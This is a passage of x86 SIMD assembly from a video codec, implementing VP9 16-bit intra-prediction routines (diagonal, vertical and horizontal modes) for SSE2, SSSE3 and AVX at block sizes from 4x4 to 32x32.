pshufd m2, m0, q3321 ; EFGHhhhh
mova [dstq+strideq*1], m0
mova [dstq+stride5q ], m1
lea dstq, [dstq+strideq*2]
pshuflw m1, m1, q3321 ; Hhhhhhhh
mova [dstq+strideq*0], m3
mova [dstq+strideq*4], m1
pshuflw m1, m1, q3321 ; hhhhhhhh
mova [dstq+strideq*1], m2
mova [dstq+stride5q ], m1
RET
cglobal vp9_ipred_dl_16x16_16, 2, 4, 5, dst, stride, l, a
movifnidn aq, amp
mova m0, [aq] ; abcdefgh
mova m3, [aq+mmsize] ; ijklmnop
PALIGNR m1, m3, m0, 2, m4 ; bcdefghi
PALIGNR m2, m3, m0, 4, m4 ; cdefghij
LOWPASS 0, 1, 2 ; BCDEFGHI
%if cpuflag(ssse3)
mova m4, [pb_2to15_14_15]
%endif
SHIFT_RIGHTx2 m2, m1, m3, m4 ; jklmnopp/klmnoppp
LOWPASS 1, 2, 3 ; JKLMNOPp
pshufd m2, m2, q3333 ; pppppppp
DEFINE_ARGS dst, stride, cnt
mov cntd, 8
.loop:
mova [dstq+strideq*0+ 0], m0
mova [dstq+strideq*0+16], m1
mova [dstq+strideq*8+ 0], m1
mova [dstq+strideq*8+16], m2
add dstq, strideq
%if cpuflag(avx)
vpalignr m0, m1, m0, 2
%else
PALIGNR m3, m1, m0, 2, m4
mova m0, m3
%endif
SHIFT_RIGHT m1, m1, m4
dec cntd
jg .loop
RET
cglobal vp9_ipred_dl_32x32_16, 2, 5, 7, dst, stride, l, a
movifnidn aq, amp
mova m0, [aq+mmsize*0] ; abcdefgh
mova m1, [aq+mmsize*1] ; ijklmnop
mova m2, [aq+mmsize*2] ; qrstuvwx
mova m3, [aq+mmsize*3] ; yz012345
PALIGNR m4, m1, m0, 2, m6
PALIGNR m5, m1, m0, 4, m6
LOWPASS 0, 4, 5 ; BCDEFGHI
PALIGNR m4, m2, m1, 2, m6
PALIGNR m5, m2, m1, 4, m6
LOWPASS 1, 4, 5 ; JKLMNOPQ
PALIGNR m4, m3, m2, 2, m6
PALIGNR m5, m3, m2, 4, m6
LOWPASS 2, 4, 5 ; RSTUVWXY
%if cpuflag(ssse3)
mova m6, [pb_2to15_14_15]
%endif
SHIFT_RIGHTx2 m4, m5, m3, m6
LOWPASS 3, 4, 5 ; Z0123455
pshufd m4, m4, q3333 ; 55555555
DEFINE_ARGS dst, stride, stride8, stride24, cnt
mov cntd, 8
lea stride8q, [strideq*8]
lea stride24q, [stride8q*3]
.loop:
mova [dstq+stride8q*0+ 0], m0
mova [dstq+stride8q*0+16], m1
mova [dstq+stride8q*0+32], m2
mova [dstq+stride8q*0+48], m3
mova [dstq+stride8q*1+ 0], m1
mova [dstq+stride8q*1+16], m2
mova [dstq+stride8q*1+32], m3
mova [dstq+stride8q*1+48], m4
mova [dstq+stride8q*2+ 0], m2
mova [dstq+stride8q*2+16], m3
mova [dstq+stride8q*2+32], m4
mova [dstq+stride8q*2+48], m4
mova [dstq+stride24q + 0], m3
mova [dstq+stride24q +16], m4
mova [dstq+stride24q +32], m4
mova [dstq+stride24q +48], m4
add dstq, strideq
%if cpuflag(avx)
vpalignr m0, m1, m0, 2
vpalignr m1, m2, m1, 2
vpalignr m2, m3, m2, 2
%else
PALIGNR m5, m1, m0, 2, m6
mova m0, m5
PALIGNR m5, m2, m1, 2, m6
mova m1, m5
PALIGNR m5, m3, m2, 2, m6
mova m2, m5
%endif
SHIFT_RIGHT m3, m3, m6
dec cntd
jg .loop
RET
%endmacro
INIT_XMM sse2
DL_FUNCS
INIT_XMM ssse3
DL_FUNCS
INIT_XMM avx
DL_FUNCS
%macro DR_FUNCS 1 ; stack_mem_for_32x32_32bit_function
cglobal vp9_ipred_dr_4x4_16, 4, 4, 3, dst, stride, l, a
movh m0, [lq] ; wxyz....
movhps m0, [aq-2] ; wxyz*abc
movd m1, [aq+6] ; d.......
PALIGNR m1, m0, 2, m2 ; xyz*abcd
psrldq m2, m1, 2 ; yz*abcd.
LOWPASS 0, 1, 2 ; XYZ#ABC.
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
movh [dstq+stride3q ], m0
psrldq m0, 2 ; YZ#ABC..
movh [dstq+strideq*2], m0
psrldq m0, 2 ; Z#ABC...
movh [dstq+strideq*1], m0
psrldq m0, 2 ; #ABC....
movh [dstq+strideq*0], m0
RET
cglobal vp9_ipred_dr_8x8_16, 4, 4, 5, dst, stride, l, a
mova m0, [lq] ; stuvwxyz
movu m1, [aq-2] ; *abcdefg
mova m2, [aq] ; abcdefgh
psrldq m3, m2, 2 ; bcdefgh.
LOWPASS 3, 2, 1 ; ABCDEFG.
PALIGNR m1, m0, 2, m4 ; tuvwxyz*
PALIGNR m2, m1, 2, m4 ; uvwxyz*a
LOWPASS 2, 1, 0 ; TUVWXYZ#
DEFINE_ARGS dst, stride, dst4, stride3
lea stride3q, [strideq*3]
lea dst4q, [dstq+strideq*4]
movhps [dstq +stride3q +0], m2
movh [dstq+ stride3q +8], m3
mova [dst4q+stride3q +0], m2
PALIGNR m1, m3, m2, 2, m0
psrldq m3, 2
movhps [dstq +strideq*2+0], m1
movh [dstq+ strideq*2+8], m3
mova [dst4q+strideq*2+0], m1
PALIGNR m2, m3, m1, 2, m0
psrldq m3, 2
movhps [dstq +strideq*1+0], m2
movh [dstq+ strideq*1+8], m3
mova [dst4q+strideq*1+0], m2
PALIGNR m1, m3, m2, 2, m0
psrldq m3, 2
movhps [dstq +strideq*0+0], m1
movh [dstq+ strideq*0+8], m3
mova [dst4q+strideq*0+0], m1
RET
cglobal vp9_ipred_dr_16x16_16, 4, 4, 7, dst, stride, l, a
mova m0, [lq] ; klmnopqr
mova m1, [lq+mmsize] ; stuvwxyz
movu m2, [aq-2] ; *abcdefg
movu m3, [aq+mmsize-2] ; hijklmno
mova m4, [aq] ; abcdefgh
mova m5, [aq+mmsize] ; ijklmnop
psrldq m6, m5, 2 ; jklmnop.
LOWPASS 6, 5, 3 ; IJKLMNO.
PALIGNR m5, m4, 2, m3 ; bcdefghi
LOWPASS 5, 4, 2 ; ABCDEFGH
PALIGNR m2, m1, 2, m3 ; tuvwxyz*
PALIGNR m4, m2, 2, m3 ; uvwxyz*a
LOWPASS 4, 2, 1 ; TUVWXYZ#
PALIGNR m1, m0, 2, m3 ; lmnopqrs
PALIGNR m2, m1, 2, m3 ; mnopqrst
LOWPASS 2, 1, 0 ; LMNOPQRS
DEFINE_ARGS dst, stride, dst8, cnt
lea dst8q, [dstq+strideq*8]
mov cntd, 8
.loop:
sub dst8q, strideq
mova [dst8q+strideq*0+ 0], m4
mova [dst8q+strideq*0+16], m5
mova [dst8q+strideq*8+ 0], m2
mova [dst8q+strideq*8+16], m4
%if cpuflag(avx)
vpalignr m2, m4, m2, 2
vpalignr m4, m5, m4, 2
vpalignr m5, m6, m5, 2
%else
PALIGNR m0, m4, m2, 2, m1
mova m2, m0
PALIGNR m0, m5, m4, 2, m1
mova m4, m0
PALIGNR m0, m6, m5, 2, m1
mova m5, m0
%endif
psrldq m6, 2
dec cntd
jg .loop
RET
cglobal vp9_ipred_dr_32x32_16, 4, 5, 10 + notcpuflag(ssse3), \
%1 * ARCH_X86_32 * -mmsize, dst, stride, l, a
mova m0, [aq+mmsize*3] ; a[24-31]
movu m1, [aq+mmsize*3-2] ; a[23-30]
psrldq m2, m0, 2 ; a[25-31].
LOWPASS 2, 0, 1 ; A[24-30].
mova m1, [aq+mmsize*2] ; a[16-23]
movu m3, [aq+mmsize*2-2] ; a[15-22]
PALIGNR m0, m1, 2, m4 ; a[17-24]
LOWPASS 0, 1, 3 ; A[16-23]
mova m3, [aq+mmsize*1] ; a[8-15]
movu m4, [aq+mmsize*1-2] ; a[7-14]
PALIGNR m1, m3, 2, m5 ; a[9-16]
LOWPASS 1, 3, 4 ; A[8-15]
mova m4, [aq+mmsize*0] ; a[0-7]
movu m5, [aq+mmsize*0-2] ; *a[0-6]
PALIGNR m3, m4, 2, m6 ; a[1-8]
LOWPASS 3, 4, 5 ; A[0-7]
SCRATCH 1, 8, rsp+0*mmsize
SCRATCH 3, 9, rsp+1*mmsize
%if notcpuflag(ssse3)
SCRATCH 0, 10, rsp+2*mmsize
%endif
mova m6, [lq+mmsize*3] ; l[24-31]
PALIGNR m5, m6, 2, m0 ; l[25-31]*
PALIGNR m4, m5, 2, m0 ; l[26-31]*a
LOWPASS 4, 5, 6 ; L[25-31]#
mova m7, [lq+mmsize*2] ; l[16-23]
PALIGNR m6, m7, 2, m0 ; l[17-24]
PALIGNR m5, m6, 2, m0 ; l[18-25]
LOWPASS 5, 6, 7 ; L[17-24]
mova m1, [lq+mmsize*1] ; l[8-15]
PALIGNR m7, m1, 2, m0 ; l[9-16]
PALIGNR m6, m7, 2, m0 ; l[10-17]
LOWPASS 6, 7, 1 ; L[9-16]
mova m3, [lq+mmsize*0] ; l[0-7]
PALIGNR m1, m3, 2, m0 ; l[1-8]
PALIGNR m7, m1, 2, m0 ; l[2-9]
LOWPASS 7, 1, 3 ; L[1-8]
%if cpuflag(ssse3)
%if cpuflag(avx)
UNSCRATCH 1, 8, rsp+0*mmsize
%endif
UNSCRATCH 3, 9, rsp+1*mmsize
%else
UNSCRATCH 0, 10, rsp+2*mmsize
%endif
DEFINE_ARGS dst8, stride, stride8, stride24, cnt
lea stride8q, [strideq*8]
lea stride24q, [stride8q*3]
lea dst8q, [dst8q+strideq*8]
mov cntd, 8
.loop:
sub dst8q, strideq
%if notcpuflag(avx)
UNSCRATCH 1, 8, rsp+0*mmsize
%if notcpuflag(ssse3)
UNSCRATCH 3, 9, rsp+1*mmsize
%endif
%endif
mova [dst8q+stride8q*0+ 0], m4
mova [dst8q+stride8q*0+16], m3
mova [dst8q+stride8q*0+32], m1
mova [dst8q+stride8q*0+48], m0
mova [dst8q+stride8q*1+ 0], m5
mova [dst8q+stride8q*1+16], m4
mova [dst8q+stride8q*1+32], m3
mova [dst8q+stride8q*1+48], m1
mova [dst8q+stride8q*2+ 0], m6
mova [dst8q+stride8q*2+16], m5
mova [dst8q+stride8q*2+32], m4
mova [dst8q+stride8q*2+48], m3
mova [dst8q+stride24q + 0], m7
mova [dst8q+stride24q +16], m6
mova [dst8q+stride24q +32], m5
mova [dst8q+stride24q +48], m4
%if cpuflag(avx)
vpalignr m7, m6, m7, 2
vpalignr m6, m5, m6, 2
vpalignr m5, m4, m5, 2
vpalignr m4, m3, m4, 2
vpalignr m3, m1, m3, 2
vpalignr m1, m0, m1, 2
vpalignr m0, m2, m0, 2
%else
SCRATCH 2, 8, rsp+0*mmsize
%if notcpuflag(ssse3)
SCRATCH 0, 9, rsp+1*mmsize
%endif
PALIGNR m2, m6, m7, 2, m0
mova m7, m2
PALIGNR m2, m5, m6, 2, m0
mova m6, m2
PALIGNR m2, m4, m5, 2, m0
mova m5, m2
PALIGNR m2, m3, m4, 2, m0
mova m4, m2
PALIGNR m2, m1, m3, 2, m0
mova m3, m2
%if notcpuflag(ssse3)
UNSCRATCH 0, 9, rsp+1*mmsize
SCRATCH 3, 9, rsp+1*mmsize
%endif
PALIGNR m2, m0, m1, 2, m3
mova m1, m2
UNSCRATCH 2, 8, rsp+0*mmsize
SCRATCH 1, 8, rsp+0*mmsize
PALIGNR m1, m2, m0, 2, m3
mova m0, m1
%endif
psrldq m2, 2
dec cntd
jg .loop
RET
%endmacro
INIT_XMM sse2
DR_FUNCS 3
INIT_XMM ssse3
DR_FUNCS 2
INIT_XMM avx
DR_FUNCS 2
%macro VL_FUNCS 1 ; stack_mem_for_32x32_32bit_function
cglobal vp9_ipred_vl_4x4_16, 2, 4, 3, dst, stride, l, a
movifnidn aq, amp
movu m0, [aq] ; abcdefgh
psrldq m1, m0, 2 ; bcdefgh.
psrldq m2, m0, 4 ; cdefgh..
LOWPASS 2, 1, 0 ; BCDEFGH.
pavgw m1, m0 ; ABCDEFG.
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
movh [dstq+strideq*0], m1
movh [dstq+strideq*1], m2
psrldq m1, 2
psrldq m2, 2
movh [dstq+strideq*2], m1
movh [dstq+stride3q ], m2
RET
cglobal vp9_ipred_vl_8x8_16, 2, 4, 4, dst, stride, l, a
movifnidn aq, amp
mova m0, [aq] ; abcdefgh
%if cpuflag(ssse3)
mova m3, [pb_2to15_14_15]
%endif
SHIFT_RIGHTx2 m1, m2, m0, m3 ; bcdefghh/cdefghhh
LOWPASS 2, 1, 0 ; BCDEFGHh
pavgw m1, m0 ; ABCDEFGh
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
mova [dstq+strideq*0], m1
mova [dstq+strideq*1], m2
SHIFT_RIGHT m1, m1, m3
SHIFT_RIGHT m2, m2, m3
mova [dstq+strideq*2], m1
mova [dstq+stride3q ], m2
lea dstq, [dstq+strideq*4]
SHIFT_RIGHT m1, m1, m3
SHIFT_RIGHT m2, m2, m3
mova [dstq+strideq*0], m1
mova [dstq+strideq*1], m2
SHIFT_RIGHT m1, m1, m3
SHIFT_RIGHT m2, m2, m3
mova [dstq+strideq*2], m1
mova [dstq+stride3q ], m2
RET
cglobal vp9_ipred_vl_16x16_16, 2, 4, 6, dst, stride, l, a
movifnidn aq, amp
mova m0, [aq]
mova m1, [aq+mmsize]
PALIGNR m2, m1, m0, 2, m3
PALIGNR m3, m1, m0, 4, m4
LOWPASS 3, 2, 0
pavgw m2, m0
%if cpuflag(ssse3)
mova m4, [pb_2to15_14_15]
%endif
SHIFT_RIGHTx2 m5, m0, m1, m4
LOWPASS 0, 5, 1
pavgw m1, m5
DEFINE_ARGS dst, stride, cnt
mov cntd, 8
.loop:
mova [dstq+strideq*0+ 0], m2
mova [dstq+strideq*0+16], m1
mova [dstq+strideq*1+ 0], m3
mova [dstq+strideq*1+16], m0
lea dstq, [dstq+strideq*2]
%if cpuflag(avx)
vpalignr m2, m1, m2, 2
vpalignr m3, m0, m3, 2
%else
PALIGNR m5, m1, m2, 2, m4
mova m2, m5
PALIGNR m5, m0, m3, 2, m4
mova m3, m5
%endif
SHIFT_RIGHT m1, m1, m4
SHIFT_RIGHT m0, m0, m4
dec cntd
jg .loop
RET
cglobal vp9_ipred_vl_32x32_16, 2, 5, 11, %1 * mmsize * ARCH_X86_32, dst, stride, l, a
movifnidn aq, amp
mova m0, [aq+mmsize*0]
mova m1, [aq+mmsize*1]
mova m2, [aq+mmsize*2]
PALIGNR m6, m1, m0, 2, m5
PALIGNR m7, m1, m0, 4, m5
LOWPASS 7, 6, 0
pavgw m6, m0
SCRATCH 6, 8, rsp+0*mmsize
PALIGNR m4, m2, m1, 2, m0
PALIGNR m5, m2, m1, 4, m0
LOWPASS 5, 4, 1
pavgw m4, m1
mova m0, [aq+mmsize*3]
PALIGNR m1, m0, m2, 2, m6
PALIGNR m3, m0, m2, 4, m6
LOWPASS 3, 1, 2
pavgw m2, m1
%if cpuflag(ssse3)
PRELOAD 10, pb_2to15_14_15, shuf
%endif
SHIFT_RIGHTx2 m6, m1, m0, reg_shuf
LOWPASS 1, 6, 0
pavgw m0, m6
%if ARCH_X86_64
pshufd m9, m6, q3333
%endif
%if cpuflag(avx)
UNSCRATCH 6, 8, rsp+0*mmsize
%endif
DEFINE_ARGS dst, stride, cnt, stride16, stride17
mov stride16q, strideq
mov cntd, 8
shl stride16q, 4
lea stride17q, [stride16q+strideq]
; FIXME m8 is unused for avx, so we could save one register here for win64
.loop:
%if notcpuflag(avx)
UNSCRATCH 6, 8, rsp+0*mmsize
%endif
mova [dstq+strideq*0+ 0], m6
mova [dstq+strideq*0+16], m4
mova [dstq+strideq*0+32], m2
mova [dstq+strideq*0+48], m0
mova [dstq+strideq*1+ 0], m7
mova [dstq+strideq*1+16], m5
mova [dstq+strideq*1+32], m3
mova [dstq+strideq*1+48], m1
mova [dstq+stride16q+ 0], m4
mova [dstq+stride16q+16], m2
mova [dstq+stride16q+32], m0
%if ARCH_X86_64
mova [dstq+stride16q+48], m9
%endif
mova [dstq+stride17q+ 0], m5
mova [dstq+stride17q+16], m3
mova [dstq+stride17q+32], m1
%if ARCH_X86_64
mova [dstq+stride17q+48], m9
%endif
lea dstq, [dstq+strideq*2]
%if cpuflag(avx)
vpalignr m6, m4, m6, 2
vpalignr m4, m2, m4, 2
vpalignr m2, m0, m2, 2
vpalignr m7, m5, m7, 2
vpalignr m5, m3, m5, 2
vpalignr m3, m1, m3, 2
%else
SCRATCH 3, 8, rsp+0*mmsize
%if notcpuflag(ssse3)
SCRATCH 1, 10, rsp+1*mmsize
%endif
PALIGNR m3, m4, m6, 2, m1
mova m6, m3
PALIGNR m3, m2, m4, 2, m1
mova m4, m3
PALIGNR m3, m0, m2, 2, m1
mova m2, m3
PALIGNR m3, m5, m7, 2, m1
mova m7, m3
UNSCRATCH 3, 8, rsp+0*mmsize
SCRATCH 6, 8, rsp+0*mmsize
%if notcpuflag(ssse3)
UNSCRATCH 1, 10, rsp+1*mmsize
SCRATCH 7, 10, rsp+1*mmsize
%endif
PALIGNR m6, m3, m5, 2, m7
mova m5, m6
PALIGNR m6, m1, m3, 2, m7
mova m3, m6
%if notcpuflag(ssse3)
UNSCRATCH 7, 10, rsp+1*mmsize
%endif
%endif
SHIFT_RIGHT m1, m1, reg_shuf
SHIFT_RIGHT m0, m0, reg_shuf
dec cntd
jg .loop
%if ARCH_X86_32
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
%assign %%n 0
%rep 4
mova [dstq+strideq*0+48], m0
mova [dstq+strideq*1+48], m0
mova [dstq+strideq*2+48], m0
mova [dstq+stride3q +48], m0
%if %%n < 3
lea dstq, [dstq+strideq*4]
%endif
%assign %%n (%%n+1)
%endrep
%endif
RET
%endmacro
INIT_XMM sse2
VL_FUNCS 2
INIT_XMM ssse3
VL_FUNCS 1
INIT_XMM avx
VL_FUNCS 1
%macro VR_FUNCS 0
cglobal vp9_ipred_vr_4x4_16, 4, 4, 3, dst, stride, l, a
movu m0, [aq-2]
movhps m1, [lq]
PALIGNR m0, m1, 10, m2 ; xyz*abcd
pslldq m1, m0, 2 ; .xyz*abc
pslldq m2, m0, 4 ; ..xyz*ab
LOWPASS 2, 1, 0 ; ..YZ#ABC
pavgw m1, m0 ; ....#ABC
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
movhps [dstq+strideq*0], m1
movhps [dstq+strideq*1], m2
shufps m0, m2, m1, q3210
%if cpuflag(ssse3)
pshufb m2, [pb_4_5_8to13_8x0]
%else
pshuflw m2, m2, q2222
psrldq m2, 6
%endif
psrldq m0, 6
movh [dstq+strideq*2], m0
movh [dstq+stride3q ], m2
RET
cglobal vp9_ipred_vr_8x8_16, 4, 4, 5, dst, stride, l, a
movu m1, [aq-2] ; *abcdefg
movu m2, [lq] ; stuvwxyz
mova m0, [aq] ; abcdefgh
PALIGNR m3, m1, m2, 14, m4 ; z*abcdef
LOWPASS 3, 1, 0
pavgw m0, m1
PALIGNR m1, m2, 2, m4 ; tuvwxyz*
pslldq m4, m2, 2 ; .stuvwxy
LOWPASS 4, 2, 1
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m3
PALIGNR m0, m4, 14, m1
pslldq m4, 2
PALIGNR m3, m4, 14, m1
pslldq m4, 2
mova [dstq+strideq*2], m0
mova [dstq+stride3q ], m3
lea dstq, [dstq+strideq*4]
PALIGNR m0, m4, 14, m1
pslldq m4, 2
PALIGNR m3, m4, 14, m1
pslldq m4, 2
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m3
PALIGNR m0, m4, 14, m1
pslldq m4, 2
PALIGNR m3, m4, 14, m4
mova [dstq+strideq*2], m0
mova [dstq+stride3q ], m3
RET
cglobal vp9_ipred_vr_16x16_16, 4, 4, 8, dst, stride, l, a
movu m1, [aq-2] ; *abcdefg
movu m2, [aq+mmsize-2] ; hijklmno
mova m3, [aq] ; abcdefgh
mova m4, [aq+mmsize] ; ijklmnop
mova m5, [lq+mmsize] ; stuvwxyz
PALIGNR m0, m1, m5, 14, m6 ; z*abcdef
movu m6, [aq+mmsize-4] ; ghijklmn
LOWPASS 6, 2, 4
pavgw m2, m4
LOWPASS 0, 1, 3
pavgw m3, m1
PALIGNR m1, m5, 2, m7 ; tuvwxyz*
movu m7, [lq+mmsize-2] ; rstuvwxy
LOWPASS 1, 5, 7
movu m5, [lq+2] ; lmnopqrs
pslldq m4, m5, 2 ; .lmnopqr
pslldq m7, m5, 4 ; ..lmnopq
LOWPASS 5, 4, 7
psrld m4, m1, 16
psrld m7, m5, 16
pand m1, [pd_65535]
pand m5, [pd_65535]
packssdw m7, m4
packssdw m5, m1
DEFINE_ARGS dst, stride, cnt
mov cntd, 8
.loop:
mova [dstq+strideq*0+ 0], m3
mova [dstq+strideq*0+16], m2
mova [dstq+strideq*1+ 0], m0
mova [dstq+strideq*1+16], m6
lea dstq, [dstq+strideq*2]
PALIGNR m2, m3, 14, m4
PALIGNR m3, m7, 14, m4
pslldq m7, 2
PALIGNR m6, m0, 14, m4
PALIGNR m0, m5, 14, m4
pslldq m5, 2
dec cntd
jg .loop
RET
cglobal vp9_ipred_vr_32x32_16, 4, 5, 14, 6 * mmsize * ARCH_X86_32, dst, stride, l, a
movu m0, [aq+mmsize*0-2] ; *a[0-6]
movu m1, [aq+mmsize*1-2] ; a[7-14]
movu m2, [aq+mmsize*2-2] ; a[15-22]
movu m3, [aq+mmsize*3-2] ; a[23-30]
mova m4, [aq+mmsize*3+0] ; a[24-31]
movu m5, [aq+mmsize*3-4] ; a[22-29]
LOWPASS 5, 3, 4 ; A[23-30]
SCRATCH 5, 8, rsp+0*mmsize
pavgw m3, m4
mova m4, [aq+mmsize*2+0] ; a[16-23]
movu m6, [aq+mmsize*2-4] ; a[14-21]
LOWPASS 6, 2, 4 ; A[15-22]
SCRATCH 6, 9, rsp+1*mmsize
pavgw m2, m4
mova m4, [aq+mmsize*1+0] ; a[8-15]
movu m7, [aq+mmsize*1-4] ; a[6-13]
LOWPASS 7, 1, 4 ; A[7-14]
SCRATCH 7, 10, rsp+2*mmsize
pavgw m1, m4
mova m4, [aq+mmsize*0+0] ; a[0-7]
mova m5, [lq+mmsize*3+0] ; l[24-31]
PALIGNR m6, m0, m5, 14, m7 ; l[31]*a[0-5]
LOWPASS 6, 0, 4 ; #A[0-6]
SCRATCH 6, 11, rsp+3*mmsize
pavgw m4, m0
PALIGNR m0, m5, 2, m7 ; l[25-31]*
movu m7, [lq+mmsize*3-2] ; l[23-30]
LOWPASS 0, 5, 7 ; L[24-31]
movu m5, [lq+mmsize*2-2] ; l[15-22]
mova m7, [lq+mmsize*2+0] ; l[16-23]
movu m6, [lq+mmsize*2+2] ; l[17-24]
LOWPASS 5, 7, 6 ; L[16-23]
psrld m7, m0, 16
psrld m6, m5, 16
pand m0, [pd_65535]
pand m5, [pd_65535]
packssdw m6, m7
packssdw m5, m0
SCRATCH 5, 12, rsp+4*mmsize
SCRATCH 6, 13, rsp+5*mmsize
movu m6, [lq+mmsize*1-2] ; l[7-14]
mova m0, [lq+mmsize*1+0] ; l[8-15]
movu m5, [lq+mmsize*1+2] ; l[9-16]
LOWPASS 6, 0, 5 ; L[8-15]
movu m0, [lq+mmsize*0+2] ; l[1-8]
pslldq m5, m0, 2 ; .l[1-7]
pslldq m7, m0, 4 ; ..l[1-6]
LOWPASS 0, 5, 7
psrld m5, m6, 16
psrld m7, m0, 16
pand m6, [pd_65535]
pand m0, [pd_65535]
packssdw m7, m5
packssdw m0, m6
UNSCRATCH 6, 13, rsp+5*mmsize
DEFINE_ARGS dst, stride, stride16, cnt, stride17
mov stride16q, strideq
mov cntd, 8
shl stride16q, 4
%if ARCH_X86_64
lea stride17q, [stride16q+strideq]
%endif
.loop:
mova [dstq+strideq*0+ 0], m4
mova [dstq+strideq*0+16], m1
mova [dstq+strideq*0+32], m2
mova [dstq+strideq*0+48], m3
%if ARCH_X86_64
mova [dstq+strideq*1+ 0], m11
mova [dstq+strideq*1+16], m10
mova [dstq+strideq*1+32], m9
mova [dstq+strideq*1+48], m8
%endif
mova [dstq+stride16q+ 0], m6
mova [dstq+stride16q+16], m4
mova [dstq+stride16q+32], m1
mova [dstq+stride16q+48], m2
%if ARCH_X86_64
mova [dstq+stride17q+ 0], m12
mova [dstq+stride17q+16], m11
mova [dstq+stride17q+32], m10
mova [dstq+stride17q+48], m9
%endif
lea dstq, [dstq+strideq*2]
PALIGNR m3, m2, 14, m5
PALIGNR m2, m1, 14, m5
PALIGNR m1, m4, 14, m5
PALIGNR m4, m6, 14, m5
PALIGNR m6, m7, 14, m5
pslldq m7, 2
%if ARCH_X86_64
PALIGNR m8, m9, 14, m5
PALIGNR m9, m10, 14, m5
PALIGNR m10, m11, 14, m5
PALIGNR m11, m12, 14, m5
PALIGNR m12, m0, 14, m5
pslldq m0, 2
%endif
dec cntd
jg .loop
%if ARCH_X86_32
UNSCRATCH 5, 12, rsp+4*mmsize
UNSCRATCH 4, 11, rsp+3*mmsize
UNSCRATCH 3, 10, rsp+2*mmsize
UNSCRATCH 2, 9, rsp+1*mmsize
UNSCRATCH 1, 8, rsp+0*mmsize
mov dstq, dstm
mov cntd, 8
add dstq, strideq
.loop2:
mova [dstq+strideq*0+ 0], m4
mova [dstq+strideq*0+16], m3
mova [dstq+strideq*0+32], m2
mova [dstq+strideq*0+48], m1
mova [dstq+stride16q+ 0], m5
mova [dstq+stride16q+16], m4
mova [dstq+stride16q+32], m3
mova [dstq+stride16q+48], m2
lea dstq, [dstq+strideq*2]
PALIGNR m1, m2, 14, m6
PALIGNR m2, m3, 14, m6
PALIGNR m3, m4, 14, m6
PALIGNR m4, m5, 14, m6
PALIGNR m5, m0, 14, m6
pslldq m0, 2
dec cntd
jg .loop2
%endif
RET
%endmacro
INIT_XMM sse2
VR_FUNCS
INIT_XMM ssse3
VR_FUNCS
INIT_XMM avx
VR_FUNCS
%macro HU_FUNCS 1 ; stack_mem_for_32x32_32bit_function
cglobal vp9_ipred_hu_4x4_16, 3, 3, 3, dst, stride, l, a
movh m0, [lq] ; abcd
%if cpuflag(ssse3)
pshufb m0, [pb_0to7_67x4] ; abcddddd
%else
punpcklqdq m0, m0
pshufhw m0, m0, q3333 ; abcddddd
%endif
psrldq m1, m0, 2 ; bcddddd.
psrldq m2, m0, 4 ; cddddd..
LOWPASS 2, 1, 0 ; BCDddd..
pavgw m1, m0 ; abcddddd
SBUTTERFLY wd, 1, 2, 0 ; aBbCcDdd, dddddddd
PALIGNR m2, m1, 4, m0 ; bCcDdddd
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
movh [dstq+strideq*0], m1 ; aBbC
movh [dstq+strideq*1], m2 ; bCcD
movhps [dstq+strideq*2], m1 ; cDdd
movhps [dstq+stride3q ], m2 ; dddd
RET
cglobal vp9_ipred_hu_8x8_16, 3, 3, 4, dst, stride, l, a
mova m0, [lq]
%if cpuflag(ssse3)
mova m3, [pb_2to15_14_15]
%endif
SHIFT_RIGHTx2 m1, m2, m0, m3
LOWPASS 2, 1, 0
pavgw m1, m0
SBUTTERFLY wd, 1, 2, 0
shufps m0, m1, m2, q1032
pshufd m3, m2, q3332
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
mova [dstq+strideq *0], m1
mova [dstq+strideq *2], m0
mova [dstq+strideq *4], m2
mova [dstq+stride3q*2], m3
add dstq, strideq
%if cpuflag(avx)
vpalignr m1, m2, m1, 4
%else
PALIGNR m0, m2, m1, 4, m3
mova m1, m0
%endif
pshufd m2, m2, q3321
shufps m0, m1, m2, q1032
pshufd m3, m2, q3332
mova [dstq+strideq *0], m1
mova [dstq+strideq *2], m0
mova [dstq+strideq *4], m2
mova [dstq+stride3q*2], m3
RET
cglobal vp9_ipred_hu_16x16_16, 3, 4, 6 + notcpuflag(ssse3), dst, stride, l, a
mova m0, [lq]
mova m3, [lq+mmsize]
movu m1, [lq+2]
movu m2, [lq+4]
LOWPASS 2, 1, 0
pavgw m1, m0
SBUTTERFLY wd, 1, 2, 0
%if cpuflag(ssse3)
mova m5, [pb_2to15_14_15]
%endif
SHIFT_RIGHTx2 m0, m4, m3, m5
LOWPASS 4, 0, 3
pavgw m3, m0
SBUTTERFLY wd, 3, 4, 5
pshufd m0, m0, q3333
DEFINE_ARGS dst, stride, stride3, cnt
lea stride3q, [strideq*3]
mov cntd, 4
.loop:
mova [dstq+strideq *0+ 0], m1
mova [dstq+strideq *0+16], m2
mova [dstq+strideq *4+ 0], m2
mova [dstq+strideq *4+16], m3
mova [dstq+strideq *8+ 0], m3
mova [dstq+strideq *8+16], m4
mova [dstq+stride3q*4+ 0], m4
mova [dstq+stride3q*4+16], m0
add dstq, strideq
%if cpuflag(avx)
vpalignr m1, m2, m1, 4
vpalignr m2, m3, m2, 4
vpalignr m3, m4, m3, 4
vpalignr m4, m0, m4, 4
%else
PALIGNR m5, m2, m1, 4, m6
mova m1, m5
PALIGNR m5, m3, m2, 4, m6
mova m2, m5
PALIGNR m5, m4, m3, 4, m6
mova m3, m5
PALIGNR m5, m0, m4, 4, m6
mova m4, m5
%endif
dec cntd
jg .loop
RET
cglobal vp9_ipred_hu_32x32_16, 3, 7, 10 + notcpuflag(ssse3), \
%1 * -mmsize * ARCH_X86_32, dst, stride, l, a
mova m2, [lq+mmsize*0+0]
movu m1, [lq+mmsize*0+2]
movu m0, [lq+mmsize*0+4]
LOWPASS 0, 1, 2
pavgw m1, m2
SBUTTERFLY wd, 1, 0, 2
SCRATCH 1, 8, rsp+0*mmsize
mova m4, [lq+mmsize*1+0]
movu m3, [lq+mmsize*1+2]
movu m2, [lq+mmsize*1+4]
LOWPASS 2, 3, 4
pavgw m3, m4
